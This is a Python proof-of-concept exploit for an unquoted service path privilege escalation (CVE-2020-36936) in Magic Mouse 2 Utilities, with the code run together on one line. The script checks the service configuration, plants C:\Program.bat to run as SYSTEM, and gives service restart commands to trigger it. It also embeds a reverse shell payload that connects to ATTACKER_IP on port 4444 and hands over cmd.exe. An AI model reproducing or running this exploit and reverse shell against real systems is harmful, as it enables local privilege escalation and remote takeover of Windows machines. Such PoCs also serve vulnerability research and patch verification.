CVE-2020-36936

# CVE-2020-36936 PoC - Unquoted Service Path Exploitation # Target: Magic Mouse 2 Utilities 2.20 # This PoC demonstrates how to exploit the unquoted service path vulnerability import os import sys import subprocess import shutil def check_vulnerability(): """Check if the target service is vulnerable""" service_name = "MagicMouseService" try: # Query service configuration result = subprocess.run( ["sc", "qc", service_name], capture_output=True, text=True ) if "BINARY_PATH_NAME" in result.stdout: print("[*] Service found: MagicMouseService") # Extract path from output for line in result.stdout.split('\n'): if "BINARY_PATH_NAME" in line: print(f"[*] Current path: {line}") # Check if path is unquoted path = line.split("=", 1)[1].strip() if '"' not in path: print("[!] VULNERABLE: Path is not quoted!") return True else: print("[-] SAFE: Path is properly quoted") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def exploit(): """Exploit the unquoted service path vulnerability""" if not check_vulnerability(): print("[-] Target is not vulnerable") return False # Malicious executable path (in unquoted path directory) malicious_exe = r"C:\Program.exe" # Create a simple reverse shell payload (for educational purposes only) payload_code = ''' import socket import subprocess import os # Simple reverse shell HOST = "ATTACKER_IP" # Replace with attacker IP PORT = 4444 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) # Redirect stdin/stdout/stderr to socket os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) # Execute shell subprocess.call(["cmd.exe"]) ''' # Write malicious executable stub # In real attack, this would be a compiled executable print(f"[!] Creating malicious executable at: {malicious_exe}") try: # For demonstration, create a simple batch file as PoC # In real attack, this would be a compiled binary with open(malicious_exe.replace('.exe', '.bat'), 'w') as f: f.write('@echo off\n') f.write(f'echo [+] Exploited CVE-2020-36936 > C:\\pwned.txt\n') f.write('echo [+] Running with SYSTEM privileges\n') print("[+] Malicious file created successfully") print("[*] Wait for service restart to trigger payload") print("[*] Or manually restart: sc stop MagicMouseService && sc start MagicMouseService") return True except PermissionError: print("[-] Failed: Insufficient privileges to write to C:\\") print("[*] This exploit requires low-privilege write access to the unquoted path") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2020-36936 - Magic Mouse 2 Utilities") print("Unquoted Service Path Privilege Escalation") print("=" * 60) if len(sys.argv) > 1 and sys.argv[1] == "--exploit": exploit() else: check_vulnerability() print("\nUsage: python cve-2020-36936.py --exploit")

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